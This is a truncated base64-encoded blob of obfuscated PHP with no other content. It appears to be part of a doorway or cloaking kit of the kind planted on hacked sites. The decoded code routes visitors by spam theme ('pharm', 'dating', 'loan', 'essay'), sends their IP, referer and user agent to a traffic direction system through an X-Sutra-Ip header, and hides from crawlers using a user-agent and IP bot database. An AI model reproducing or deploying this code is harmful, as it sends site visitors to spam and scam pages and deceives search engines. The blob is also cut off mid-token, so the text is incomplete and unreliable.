mlsZSAnezB9JyIsJHRoaXMtPnYyMjQpO19fX0NfNTo6dDEoKTt9ZnVuY3Rpb24gdDEyOCgkdjU0LCR2NTU9bnVsbCwkdjIzOD1mYWxzZSl7dHJ5e2lmKCR2NTU9PW51bGwpJHY1NT10aW1lKCk7JHRoaXMtPnQxNTQoJHYyMzg/J2FiJzond2InKTskdGhpcy0+dDExNigkdjU0KTskdGhpcy0+dDE1NygpO31jYXRjaChFeGNlcHRpb24kdjIzKXskdGhpcy0+dDE1NygpOyR0aGlzLT52MTItPnQxMTkoImZpbGUgZXJyb3IgJ3swfScgYnkgcGF0aCAnezF9JyIsJHYyMy0+Z2V0TWVzc2FnZSgpLCR0aGlzLT52MjI0KTt0aHJvdyAkdjIzO319ZnVuY3Rpb24gdDExMygpeyR0aGlzLT50MTU3KCk7aWYoJHRoaXMtPnQxMjcoKSYmIUB1bmxpbmsoJHRoaXMtPnYyMjQpKXRocm93IG5ldyBfX19DXzEoImZpbGUgJ3swfScgZGVsZXRlIGZhaWxlZCIsJHRoaXMtPnYyMjQpO31mdW5jdGlvbiB0MTU3KCl7aWYoJHRoaXMtPnYyMjYpe0BmbG9jaygkdGhpcy0+djIyNiwwMyk7QGZjbG9zZSgkdGhpcy0+djIyNik7JHRoaXMtPnYyMjY9ZmFsc2U7fX1mdW5jdGlvbiB0MTU4KCl7cmV0dXJuJHRoaXMtPnYyMjVbMDBdPT0nYSc7fWZ1bmN0aW9uIHQxNTYoKXtpZighJHRoaXMtPnQxNTgoKSl7ZnNlZWsoJHRoaXMtPnYyMjYsMDAsMDApO319ZnVuY3Rpb24gdDE1OSgkdjU0KXtyZXR1cm4kdjU0O31mdW5jdGlvbiB0NzcoJHY1NCl7cmV0dXJuJHY1NDt9fWNsYXNzIF9fX0NfMTMgZXh0ZW5kcyBfX19DXzQze2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2OTQpe3BhcmVudDo6X19jb25zdHJ1Y3QoJHY5NCx0cnVlKTt9ZnVuY3Rpb24gdDE1OSgkdjU0KXskdjE0Mj1zZXJpYWxpemUoJHY1NCk7JHYyMzk9Z3pkZWZsYXRlKCR2MTQyLDAzKTtyZXR1cm4kdjIzOTt9ZnVuY3Rpb24gdDc3KCR2MTA1KXskdjI0MD1AZ3ppbmZsYXRlKCR2MTA1KTskdjU0PUB1bnNlcmlhbGl6ZSgkdjI0MCk7cmV0dXJuKGVtcHR5KCR2NTQpKT9mYWxzZTokdjU0O319Y2xhc3MgX19fQ18zMntwcml2YXRlJHYxNDY7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYyNDEpeyR0aGlzLT52MTQ2PSR2MjQxO31mdW5jdGlvbiB0MTE0KCl7aWYoISR0aGlzLT52MTQ2LT50MTI3KCkpcmV0dXJuIGFycmF5KCk7JHY1ND0kdGhpcy0+djE0Ni0+dDEyMih0cnVlLGZhbHNlKTtyZXR1cm4kdjU0O31mdW5jdGlvbiB0MjQoJHYyMyl7JHY1ND1hcnJheSgnbWVzc2FnZSc9PiR2MjMtPmdldE1lc3NhZ2UoKSwncGF0aCc9PiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4oIWVtcHR5KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSk/JF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOicnKSwndWEnPT4kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3JlZic9PkAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sJ3RpbWUnPT50aW1lKCksJ3RyYWNlJz0+JHYyMy0+Z2V0VHJhY2UoKSk7JHYyNDI9X19fQ182Ojp0NTAoKTskdjU0Wydjb250ZXh0J109JHYyNDJbJ2VudiddOyR2NTRbJ2xvZyddPSR2MjQyWydsb2cnXTs7JHRoaXMtPnYxNDYtPnQxMjgoJHY1NCk7fWZ1bmN0aW9uIHQxMTMoKXskdGhpcy0+djE0Ni0+dDExMygpO319Y2xhc3MgX19fQ180NHtwcm90ZWN0ZWQkdjI0Mz1hcnJheSgndGltZW91dCc9PjAxMik7cHJvdGVjdGVkJHYyNDQ7cHJvdGVjdGVkJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjY1PWFycmF5KCkpeyR0aGlzLT52MjQzPWFycmF5X21lcmdlKCR0aGlzLT52MjQzLCR2NjVbJ29wdGlvbnMnXSk7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCd3ZWJjbGllbnQnKTskdGhpcy0+djI0ND0kdjY1WydoZWFkZXJzJ107fWZ1bmN0aW9uIHQxNjAoJHYyNDUpeyR0aGlzLT52MjQ0PWFycmF5X21lcmdlKCR0aGlzLT52MjQ0LCR2MjQ1KTt9ZnVuY3Rpb24gdDE2MSgkdjI0Nil7JHYyNDY9c3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHYyNDYpOyR2MjQ3PWV4cGxvZGUoIlxuIiwkdjI0Nik7JHYyNDU9YXJyYXkoKTtmb3JlYWNoKCR2MjQ3IGFzJHYyNDgpeyR2MjQ4PXRyaW0oJHYyNDgpO2lmKGVtcHR5KCR2MjQ4KSljb250aW51ZTtpZihzdHJwb3MoJHYyNDgsJzonKT09PWZhbHNlKWNvbnRpbnVlO0BsaXN0KCR2ODAsJHY2KT1leHBsb2RlKCc6JywkdjI0OCwwMik7aWYoaXNzZXQoJHYyNDVbJHY4MF0pKXtpZighaXNfYXJyYXkoJHYyNDVbJHY4MF0pKSR2MjQ1WyR2ODBdPWFycmF5KCR2MjQ1WyR2ODBdKTskdjI0NVskdjgwXVtdPSR2Njt9ZWxzZSAkdjI0NVskdjgwXT0oIWVtcHR5KCR2NikpPyR2NjonJzt9JHRoaXMtPnYxMi0+dDExOSgicmVjZWl2ZWQgaGVhZGVyczogXG4gezB9Iix0cmltKCR2MjQ2KSk7cmV0dXJuJHYyNDU7fWZ1bmN0aW9uIHQxNjIoKXskdjIxOT1hcnJheSgpO2ZvcmVhY2goJHRoaXMtPnYyNDQgYXMkdjgwPT4kdjYpJHYyMTlbXT0kdjgwLiI6ICIuJHY2O3JldHVybiR2MjE5O319Y2xhc3MgX19fQ18yNyBleHRlbmRzIF9fX0NfNDR7ZnVuY3Rpb24gdDEyMCgkdjkzLCR2MjQ5PXRydWUpeyR0aGlzLT52MTItPnQ0KCJsb2FkIGNvbnRlbnQgZnJvbSB1cmw6ICd7MH0nIiwkdjkzKTskdjI1MD0kdGhpcy0+dDE2MygkdjkzKTtjdXJsX3NldG9wdCgkdjI1MCwwNTIsMDApO0BjdXJsX3NldG9wdCgkdjI1MCwwNjQsJHYyNDkpOyR2MzM9QGN1cmxfZXhlYygkdjI1MCk7JHRoaXMtPnYxMi0+dDExOSgncmVkaXJlY3QgY291bnQ6IHswfScsY3VybF9nZXRpbmZvKCR2MjUwLDAxMDAwMDAyNCkpOyR0aGlzLT52MTItPnQxMTkoJ2xhc3QgZWZmZWN0aXZlIHVybDogezB9JyxjdXJsX2dldGluZm8oJHYyNTAsMDQwMDAwMDEpKTtpZigkdjMzPT09ZmFsc2UpeyR2NTE9QGN1cmxfZXJyb3IoJHYyNTApOyR0aGlzLT52MTItPnQ5KCJGYWlsZWQgbG9hZCB1cmwgJ3swfScgd2l0aCBlcnJvcjogJ3sxfSciLCR2OTMsJHY1MSk7dGhyb3cgbmV3IF9fX0NfMygiRmFpbGVkIGxvYWQgdXJsICd7MH0nIHdpdGggZXJyb3I6ICd7MX0nIiwkdjkzLCR2NTEpO31lbHNleyR2MjUxPWN1cmxfZ2V0aW5mbygkdjI1MCwwMTAwMDAwMDIpO2lmKCR2MjUxIT0wMzEwKXRocm93IG5ldyBfX19DXzMoIkZhaWxlZCBsb2FkIHVybCAnezB9Jy4gaW52YWxpZCByZXNwb25zZSBjb2RlICd7MX0nIHdpdGggbGFzdCB1cmw6IHsyfSIsJHY5MywkdjI1MSxjdXJsX2dldGluZm8oJHYyNTAsMDQwMDAwMDEpKTt9Y3VybF9jbG9zZSgkdjI1MCk7cmV0dXJuJHYzMzt9ZnVuY3Rpb24gdDE2NCgkdjkzKXskdGhpcy0+djEyLT50NCgibG9hZCBoZWFkZXJzIGZyb20gdXJsOiAnezB9JyIsJHY5Myk7JHYyNTA9JHRoaXMtPnQxNjMoJHY5Myk7Y3VybF9zZXRvcHQoJHYyNTAsMDUyLDAxKTtjdXJsX3NldG9wdCgkdjI1MCwwNTQsMDEpOyR2MzM9QGN1cmxfZXhlYygkdjI1MCk7aWYoJHYzMz09PWZhbHNlKXskdjUxPWN1cmxfZXJyb3IoJHYyNTApOyR0aGlzLT52MTItPnQ5KCJGYWlsZWQgbG9hZCBoZWFkZXJzIGZvciB1cmwgJ3swfScgd2l0aCBlcnJvcjogJ3sxfSciLCR2OTMsJHY1MSk7dGhyb3cgbmV3IF9fX0NfMygiRmFpbGVkIGxvYWQgIGhlYWRlcnMgZm9yIHVybCAnezB9JyB3aXRoIGVycm9yOiAnezF9JyIsJHY5MywkdjUxKTt9Y3VybF9jbG9zZSgkdjI1MCk7cmV0dXJuJHRoaXMtPnQxNjEoJHYzMyk7fWZ1bmN0aW9uIHQxNjMoJHY5Myl7JHYyNTA9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJHYyNTAsMDIzNDIyLCR2OTMpO2N1cmxfc2V0b3B0KCR2MjUwLDAxNSwkdGhpcy0+djI0M1sndGltZW91dCddKTtjdXJsX3NldG9wdCgkdjI1MCwwNDY3MTEsdHJ1ZSk7Y3VybF9zZXRvcHQoJHYyNTAsMDIzNDQ3LCR0aGlzLT50MTYyKCkpO0BjdXJsX3NldG9wdCgkdjI1MCwwMTIxLDAwKTtAY3VybF9zZXRvcHQoJHYyNTAsMDEwMCwwMCk7cmV0dXJuJHYyNTA7fX1jbGFzcyBfX19DXzI4e3ByaXZhdGUkdjI1Mj1hcnJheSgpO3ByaXZhdGUkdjI1Mz1mYWxzZTtwcml2YXRlJHYxMjtwcml2YXRlJHYyNTQ7cHJpdmF0ZSR2MjU1O3ByaXZhdGUkdjI1Nj1hcnJheSgpO3ByaXZhdGUkdjI1NztmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjI1OCwkdjI1OSwkdjI2MCwkdjI2MSl7Zm9yZWFjaCgkdjI1OCBhcyR2MjE1PT4mJHYyNjIpeyR2MjYyWyduYW1lJ109JHYyMTU7dW5zZXQoJHYyNjIpO30kdGhpcy0+djI1Mj0kdjI1ODskdGhpcy0+djI1ND0kdjI1OTskdGhpcy0+djI1NT0kdjI2MDskdGhpcy0+djEyPV9fX0NfNjo6dDMoJ3JvdXRlcicpOyR0aGlzLT50MTY1KCR2MjYxKTt9ZnVuY3Rpb24gdDE2NSgkdjI2MSl7JHRoaXMtPnYyNTM9JHRoaXMtPnYyNTUtPnQxNDUoJHYyNjEpO31mdW5jdGlvbiB0MTY2KCl7cmV0dXJuICEoJHRoaXMtPnYyNTM9PWZhbHNlKTt9ZnVuY3Rpb24gdDE2NygkdjIwMCwkdjE0OCl7JHYxNDhbJ2tleSddPSR0aGlzLT52MjUzWydyb290J107JHYyNjM9JHRoaXMtPnQxNjgoKTskdjE0OFsncm91dGVrZXknXT0kdjI2MzskdjI2Mj0kdGhpcy0+dDE2OSgkdjI2Myk7aWYoISR2MjYyKXskdGhpcy0+djEyLT50NCgicm91dGUgbm90IGZvdW5kIik7cmV0dXJuIGZhbHNlO30kdGhpcy0+djEyLT50NCgic2VsZWN0ZWQgcm91dGU6ICd7MH0nIiwkdjI2MlsnbmFtZSddKTskdjE0OFsnZXhpdHJvdXRlJ109JHYyNjJbJ25hbWUnXTtyZXR1cm4kdGhpcy0+dDE3MCgkdjI2MiwkdjE0OCk7fWZ1bmN0aW9uIHQxNjkoJHYyNjQpe2lmKGlzc2V0KCR0aGlzLT52MjUyWyR2MjY0XSkpe3JldHVybiR0aGlzLT52MjUyWyR2MjY0XTt9aWYoaXNzZXQoJHRoaXMtPnYyNTJbJ2RlZmF1bHQnXSkpe3JldHVybiR0aGlzLT52MjUyWydkZWZhdWx0J107fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gdDE2OCgpe2lmKGlzc2V0KCR0aGlzLT52MjUzWydyb3V0ZWtleSddKSl7JHRoaXMtPnYxMi0+dDQoInBhZ2UgaGFzIHJvdXRla2V5OiAnezB9JyIsJHRoaXMtPnYyNTNbJ3JvdXRla2V5J10pO3JldHVybiR0aGlzLT52MjUzWydyb3V0ZWtleSddO30kdjI2NT1hcnJheSgnZXNzYXknLCdwaGFybScsJ2RhdGluZycsJ2xvYW4nLCdtZWRpYScsJ2Rvd25sb2FkJyk7aWYoaXNzZXQoJHRoaXMtPnYyNTNbJ3RoZW1lJ10pKXskdGhpcy0+djEyLT50NCgicGFnZSB0aGVtZTogJ3swfSciLCR0aGlzLT52MjUzWyd0aGVtZSddKTskdjI2Nj1zdHJ0b2xvd2VyKCR0aGlzLT52MjUzWyd0aGVtZSddKTtmb3JlYWNoKCR2MjY1IGFzJHY4MCl7aWYoc3RycG9zKCR2MjY2LCR2ODApIT09ZmFsc2UpcmV0dXJuJHY4MDt9fWVsc2V7JHRoaXMtPnYxMi0+dDQoInBhZ2UgaGFzIE5PIHRoZW1lLiBvbGQgZG9yIik7fXJldHVybidkZWZhdWx0Jzt9ZnVuY3Rpb24gdDE3MCgkdjI2NywkdjE0OCl7JHYyNjg9JHRoaXMtPnYyNTQtPnQxNDcoJHYyNjdbJ2V4aXQnXVsndXJsJ10sJHRoaXMtPnYyNTMsJHYxNDgpO3JldHVybiBhcnJheSgnbmFtZSc9PiR2MjY3WyduYW1lJ10sJ2V4aXQnPT4kdjI2N1snZXhpdCddWyd0eXBlJ10sJ3VybCc9PiR2MjY4WzAwXSwnZXh0cGFyYW1zJz0+JHYyNjhbMDFdKTt9fWNsYXNzIF9fX0NfMTB7cHJpdmF0ZSR2MjY5O3ByaXZhdGUkdjE5NDtwcml2YXRlJHYxMjtwcml2YXRlJHYyNzA7cHJpdmF0ZSR2MjcxO2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2MTI4LCR2MjEsJHYyNzIsJHYyNzMpeyR0aGlzLT52MTk0PSR2MjE7JHYyNzQ9JHRoaXMtPnQxNzEoKTskdjEyOC0+dDE2MCgkdjI3NCk7JHRoaXMtPnYyNjk9JHYxMjg7JHRoaXMtPnYyNzA9JHYyNzI7JHRoaXMtPnYyNzE9JHYyNzM7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdyb3V0ZXItdXJscmVzb2x2ZXInKTt9ZnVuY3Rpb24gdDE0NygkdjcsJHYyMDMsJHYxNDgpeyR2MTQ4PWFycmF5X21lcmdlKCR0aGlzLT52MjcxLCR2MTQ4KTskdjE0OFsnaXAnXT0kdGhpcy0+djE5NC0+dDE3KCk7JHYxNDhbJ3JlZmVyZXInXT0kdGhpcy0+djE5NC0+dDQ4KCk7JHY5Mz0kdGhpcy0+djE5NC0+dDE1KCktPnQxNigpOyR2MTQ4Wyd1cmwnXT0kdGhpcy0+dDE3MigkdjkzKTskdjE0OFsnaG9zdCddPSR0aGlzLT52MTk0LT50NjAoKTskdjE0OFsnc2UnXT0kdGhpcy0+djI3MC0+dDE0MygkdjE0OFsncmVmZXJlciddKTskdGhpcy0+dDE3MygkdjE0OCwkdjIwMywndGhlbWUnKTskdGhpcy0+dDE3MygkdjE0OCwkdjIwMywnbGFiZWwnKTskdGhpcy0+dDE3MygkdjE0OCwkdjIwMywndGRzZ3JvdXAnKTskdGhpcy0+dDE3MygkdjE0OCwkdjIwMywncHJvamVjdCcpO2lmKGlzc2V0KCR2MjAzWydnZW50aW1lJ10pKSR2MTQ4WydnZW50aW1lJ109Z21kYXRlKCJZLm0uZCIsJHYyMDNbJ2dlbnRpbWUnXSk7Zm9yZWFjaCgkdjE0OCBhcyR2ODA9PiR2Nikkdjc9c3RyX3JlcGxhY2UoInsiLiR2ODAuIn0iLHJhd3VybGVuY29kZSgkdjYpLCR2Nyk7JHY3PXByZWdfcmVwbGFjZSgnL1x7W159XStcfS9zaScsJycsJHY3KTtyZXR1cm4kdGhpcy0+dDE3NCgkdjcpO31mdW5jdGlvbiB0MTczKCYkdjE0OCwmJHYyMDMsJHYyNzUpe2lmKGlzc2V0KCR2MjAzWyR2Mjc1XSkpJHYxNDhbJHYyNzVdPSR2MjAzWyR2Mjc1XTt9ZnVuY3Rpb24gdDE3MigkdjkzKXtyZXR1cm4gc3RyX3JlcGxhY2UoJy93d3cuJywnLycsJHY5Myk7fWZ1bmN0aW9uIHQxNzQoJHY3KXt0cnl7JHYyNDU9JHRoaXMtPnYyNjktPnQxNjQoJHY3KTtpZighaXNzZXQoJHYyNDVbJ0xvY2F0aW9uJ10pKXRocm93IG5ldyBfX19DXzQoJ2Nhbm5vdCBleHRyYWN0IGxvY2F0aW9uIGZyb20gdGRzIHJlc3BvbnNlJywkdjcpOyR2Mjc2PXRyaW0oJHYyNDVbJ0xvY2F0aW9uJ10pOyR0aGlzLT52MTItPnQ0KCJyZWNlaXZlIGxvY2F0aW9uOiAiLiR2Mjc2KTskdjI3Nz1leHBsb2RlKCcjJywkdjI3NiwwMik7JHYyNzg9JHYyNzdbMDBdOyR2MTQ4PWFycmF5KCk7aWYoaXNzZXQoJHYyNzdbMDFdKSl7JHYxNDg9JHRoaXMtPnQxNzUoJHYyNzdbMDFdKTt9cmV0dXJuIGFycmF5KCR2Mjc4LCR2MTQ4KTt9Y2F0Y2goX19fQ18zJHY1MSl7dGhyb3cgbmV3IF9fX0NfNCgnZXJyb3IgcmVzb2x2ZSBleGl0JywkdjcsJHY1MSk7fX1mdW5jdGlvbiB0MTcxKCl7JHYyNDU9YXJyYXkoJ1VzZXItQWdlbnQnPT4kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ1gtU3V0cmEtSXAnPT4kdGhpcy0+djE5NC0+dDE3KCkpOyR2Mjc0PWFycmF5KCdIVFRQX1JFRkVSRVInPT4nUmVmZXJlcicsJ0hUVFBfWF9GT1JXQVJERURfRk9SJz0+J1gtRm9yd2FyZGVkLUZvcicsJ0hUVFBfVklBJz0+J1ZpYScsJ0hUVFBfQ0xJRU5UX0lQJz0+J0NsaWVudC1JUCcsJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJz0+J0FjY2VwdC1MYW5ndWFnZScpO2ZvcmVhY2goJHYyNzQgYXMkdjI3OT0+JHYyODApe2lmKGlzc2V0KCRfU0VSVkVSWyR2Mjc5XSkpJHYyNDVbJHYyODBdPSRfU0VSVkVSWyR2Mjc5XTt9cmV0dXJuJHYyNDU7fWZ1bmN0aW9uIHQxNzUoJHYyODEpeyR2MjgxPXRyaW0oJHYyODEpO2lmKGVtcHR5KCR2MjgxKSlyZXR1cm4gYXJyYXkoKTskdjE3PWFycmF5KCk7JHYyNzc9ZXhwbG9kZSgnfCcsJHYyODEpO2ZvcmVhY2goJHYyNzcgYXMkdjI4Mil7bGlzdCgkdjgwLCR2Nik9ZXhwbG9kZSgnPScsJHYyODIsMDIpOyR0aGlzLT52MTItPnQ0KCJyZWNlaXZlIGV4dCBwYXJhbTogJyIuJHY4MC4iPSIuJHY2LiInIik7JHYxN1skdjgwXT0kdjY7fXJldHVybiR2MTc7fX1jbGFzcyBfX19DXzE2e3ByaXZhdGUkdjI4Mz1hcnJheSgpO3ByaXZhdGUkdjI4NDtwcml2YXRlJHYxMjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjE4NCwkdjI4NSl7JHRoaXMtPnYyODQ9JHYxODQ7JHRoaXMtPnYyODM9JHYyODU7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdib3QuZGV0ZWN0b3InKTt9ZnVuY3Rpb24gdDQ1KCR2MTc1LCR2Mjg2KXt0cnl7JHY0Mz1mYWxzZTtpZigkdGhpcy0+djI4Myl7JHRoaXMtPnYxMi0+dDQoImNoZWNrIHVhIik7JHY0Mz0kdGhpcy0+djI4NC0+dDE3NigkdjI4Nik7fWlmKCEkdjQzKXskdGhpcy0+djEyLT50NCgiY2hlY2sgaXAiKTskdjQzPSR0aGlzLT52Mjg0LT50MTc3KCR2MTc1KTt9JHRoaXMtPnYyODQtPnQxNTcoKTt9Y2F0Y2goRXhjZXB0aW9uJHYyMyl7JHRoaXMtPnYyODQtPnQxNTcoKTt0aHJvdyAkdjIzO31yZXR1cm4kdjQzO319Y2xhc3MgX19fQ18xOHtwcml2YXRlJHYyMjQ7cHJpdmF0ZSR2MjI2PWZhbHNlO3ByaXZhdGUkdjEyO3ByaXZhdGUkdjI4Nztwcml2YXRlJHY5MjtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjk0LCR2ODgpeyR0aGlzLT52OTI9JHY4ODskdGhpcy0+djIyND0kdjk0OyR0aGlzLT52MTI9X19fQ182Ojp0MygnYm90ZGInKTskdGhpcy0+djI4Nz0wMzYrMDE7fWZ1bmN0aW9uIHQxMzkoKXskdGhpcy0+dDE3OCgpOyR2Nzc9ZnJlYWQoJHRoaXMtPnYyMjYsMDM2KTskdjI4OD1hcnJheSgpO2xpc3QoJHYxMTksJHY1NSk9ZXhwbG9kZSgnfCcsdHJpbSgkdjc3KSk7cmV0dXJuIGFycmF5KCd2ZXJzaW9uJz0+JHYxMTksJ3RpbWUnPT4kdjU1KTt9ZnVuY3Rpb24gdDEyNygpe3JldHVybiBmaWxlX2V4aXN0cygkdGhpcy0+djIyNCk7fWZ1bmN0aW9uIHQxNzcoJHYxNzUpe2lmKHN0cnBvcygkdjE3NSwnOicpIT09ZmFsc2UpeyR0aGlzLT52MTItPnQxNTIoImlwIGlzIHY2LiBjYW5ub3QgcHJvY2VzcyIpO3JldHVybiBmYWxzZTt9JHRoaXMtPnQxNzgoKTskdjI4OT1leHBsb2RlKCcuJywkdjE3NSk7JHYyOTA9JHRoaXMtPnQxNzkoJHYyODlbMDBdKTtpZigkdjI5MCE9PWZhbHNlKXskdjI5MT0kdGhpcy0+dDE4MCgkdjI4OVswMF0sJHYyOTAsJHYxNzUpO2xpc3QoJHYyOTIsJHY1NCk9JHYyOTE7JHYyOTM9JHRoaXMtPnQxODEoJHYyODksJHYyOTIsJHY1NCk7cmV0dXJuJHYyOTM7fWVsc2UgJHRoaXMtPnYxMi0+dDExOSgibWFpbiBuZXQgezB9IG5vdCBmb3VuZCIsJHYyODlbMDBdKTtyZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIHQxNzYoJHYyODYpeyR0aGlzLT50MTc4KCk7QGZzZWVrKCR0aGlzLT52MjI2LDAzNzYqMDMrMDErJHRoaXMtPnYyODcpOyR2Mjk0PWZyZWFkKCR0aGlzLT52MjI2LDAyKTskdjI5NT0kdGhpcy0+dDE4MigkdjI5NCk7JHYyOTY9ZnJlYWQoJHRoaXMtPnYyMjYsJHYyOTUpOyR2Mjk3PUBnenVuY29tcHJlc3MoJHYyOTYpOyR2Mzk9QHVuc2VyaWFsaXplKCR2Mjk3KTtpZigkdjM5PT09ZmFsc2UpdGhyb3cgbmV3IF9fX0NfMigiaW52YWxpZCB1YSBsaXN0Iik7Zm9yZWFjaCgkdjM5IGFzJHYyOTgpe2lmKHN0cmlzdHIoJHYyODYsJHYyOTgpKXJldHVybiB0cnVlO31yZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIHQxMTgoJHYxMTksJHY1NCl7JHRoaXMtPnQxNTcoKTskdjEwOT1zdHJfcGFkKCR2MTE5Lid8Jy50aW1lKCksJHRoaXMtPnYyODcsJyAnKTskdjEwOS49JHY1NDskdjEyNj1maWxlX3B1dF9jb250ZW50cygkdGhpcy0+djIyNCwkdjEwOSwwMik7X19fQ181Ojp0MSgpO31mdW5jdGlvbiB0MTU3KCl7aWYoJHRoaXMtPnYyMjYhPT1mYWxzZSl7ZmxvY2soJHRoaXMtPnYyMjYsMDMpO2ZjbG9zZSgkdGhpcy0+djIyNik7JHRoaXMtPnYyMjY9ZmFsc2U7fX1wcml2YXRlIGZ1bmN0aW9uIHQxNzgoKXtpZigkdGhpcy0+djIyNj09PWZhbHNlKXskdGhpcy0+djIyNj1AZm9wZW4oJHRoaXMtPnYyMjQsJ3JiJyk7aWYoJHRoaXMtPnYyMjY9PT1mYWxzZSl0aHJvdyBuZXcgX19fQ18xKCJFcnJvciBvcGVuIHswfSIsJHRoaXMtPnYyMjQpO2lmKCFAZmxvY2soJHRoaXMtPnYyMjYsMDEpKXRocm93IG5ldyBfX19DXzEoIkVycm9yIGxvY2sgezB9IiwkdGhpcy0+djIyNCk7fWlmKCFAcmV3aW5kKCR0aGlzLT52MjI2KSl0aHJvdyBuZXcgX19fQ18xKCJFcnJvciByZXdpbmQgezB9IiwkdGhpcy0+djIyNCk7fXByaXZhdGUgZnVuY3Rpb24gdDE4MSgkdjI4OSwmJHYyOTIsJiR2NTQpeyR2Mjk5PTAwO2ZvcigkdjU9MDA7JHY1PGNvdW50KCR2MjkyKTskdjUrKyl7JHYzMDA9KCR2MjkyWyR2NV09PScxJyk7JHYyOTA9KCR2MzAwKT8wNjowMzskdjMwMT1zdWJzdHIoJHY1NCwkdjI5OSwkdjI5MCk7JHYyOTM9dHJ1ZTskdjMwMj1hcnJheSgpOyR2MzAzPWFycmF5KCk7JHYzMDQ9YXJyYXkoKTtpZigkdjMwMCl7Zm9yKCR2MzA1PTAwOyR2MzA1PDAzOyR2MzA1KyspeyR2MzA2PSR2Mjg5WyR2MzA1KzAxXTskdjMwNz0kdGhpcy0+dDE4MigkdjMwMVskdjMwNV0pOyR2MzA4PSR0aGlzLT50MTgyKCR2MzAxWyR2MzA1KzAzXSk7JHYzMDNbXT0kdjMwNzskdjMwNFtdPSR2MzA4O2lmKCR2MzA2PCR2MzA3fHwkdjMwNj4kdjMwOCl7JHYyOTM9ZmFsc2U7YnJlYWs7fX0kdjMwOT0kdjI4OVswMF0uJy4nLmpvaW4oJy4nLCR2MzAzKS4nLScuJHYyODlbMDBdLicuJy5qb2luKCcuJywkdjMwNCk7fWVsc2V7Zm9yKCR2MzA1PTAwOyR2MzA1PDAzOyR2MzA1KyspeyR2MzA2PSR2Mjg5WyR2MzA1KzAxXTskdjMxMD0kdGhpcy0+dDE4MigkdjMwMVskdjMwNV0pOyR2MzAyW109JycuJHYzMTA7aWYoJHYzMTAhPSR2MzA2KXskdjI5Mz1mYWxzZTticmVhazt9fSR2MzA5PSR2Mjg5WzAwXS4nLicuam9pbignLicsJHYzMDIpO31pZigkdjI5Myl7JHRoaXMtPnYxMi0+dDQoImZvdW5kIGJ5IHswfSIsJHYzMDkpO3JldHVybiB0cnVlO30kdjI5OSs9JHYyOTA7fXJldHVybiBmYWxzZTt9cHJpdmF0ZSBmdW5jdGlvbiB0MTc5KCR2MzExKXskdjMxMj0oJHYzMTEtMDEpKjAzKyR0aGlzLT52Mjg3O2ZzZWVrKCR0aGlzLT52MjI2LCR2MzEyLDAwKTskdjMxMz1mcmVhZCgkdGhpcy0+djIyNiwwMyk7JHYzMTQ9dW5wYWNrKCdIKicsJHYzMTMpOyR2MzE1PWhleGRlYygkdjMxNFswMV0pO2lmKCR2MzE1PT0wMClyZXR1cm4gZmFsc2U7cmV0dXJuJHYzMTU7fXByaXZhdGUgZnVuY3Rpb24gdDE4MCgkdjMxMSwkdjI5MCwkdjE3NSl7ZnNlZWsoJHRoaXMtPnYyMjYsMDM3NiowMyskdjI5MCskdGhpcy0+djI4NywwMCk7JHYyODg9ZnJlYWQoJHRoaXMtPnYyMjYsMDYpOyR2MzEwPSR0aGlzLT50MTgyKCR2Mjg4WzAwXSk7aWYoJHYzMTEhPSR2MzEwKXRocm93IG5ldyBfX19DXzIoIkV4cGVjdCB7MH0gb2N0ZWN0IGJ1dCB7MX0gZm91bmQuIGlwIHsyfSIsJHYzMTEsJHYzMTAsJHYxNzUpOyR2MTM2PSR0aGlzLT50MTgyKCR2Mjg4WzAxXS4kdjI4OFswMl0uJHYyODhbMDNdKTskdjMxNj0kdGhpcy0+dDE4MigkdjI4OFswNF0uJHYyODhbMDVdKTskdjIzNj1mcmVhZCgkdGhpcy0+djIyNiwkdjEzNik7JHYyOTI9JHRoaXMtPnQxODMoJHYyMzYsJHYzMTYpOyR2NTQ9c3Vic3RyKCR2MjM2LCR2MzE2LHN0cmxlbigkdjIzNiktJHYzMTYpO3JldHVybiBhcnJheSgkdjI5MiwkdjU0KTt9cHJpdmF0ZSBmdW5jdGlvbiB0MTgzKCYkdjIzNiwkdjMxNil7JHYzMTc9c3Vic3RyKCR2MjM2LDAwLCR2MzE2KTskdjMxOD1nenVuY29tcHJlc3MoJHYzMTcpOyR2MzE5PWFycmF5KCk7Zm9yKCR2NT0wMDskdjU8c3RybGVuKCR2MzE4KTskdjUrKykkdjMxOVtdPSR2MzE4WyR2NV07cmV0dXJuJHYzMTk7fXByaXZhdGUgZnVuY3Rpb24gdDE4MigkdjI5NCl7JHYzMjA9dW5wYWNrKCdIKicsJHYyOTQpOyR2Nj1oZXhkZWMoJHYzMjBbMDFdKTtyZXR1cm4kdjY7fX1jbGFzcyBfX19DXzE3e3ByaXZhdGUkdjMyMTtwcml2YXRlJHYxMjtwcml2YXRlJHYyNzA7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYyMDEsJHYyNzIpeyR0aGlzLT52MzIxPSR2MjAxOyR0aGlzLT52MjcwPSR2MjcyOyR0aGlzLT52MTI9X19fQ182Ojp0MygnYm90LmRldGVjdG9yLmhpZGRlbicpO31mdW5jdGlvbiB0NDUoJHYzMjIsJHY3MCl7JHYyMDM9JHRoaXMtPnYzMjEtPnQxNDUoJHYzMjIpO2lmKCR2MjAzPT1mYWxzZSl7JHRoaXMtPnYxMi0+dDQoInBhZ2Ugbm90IGV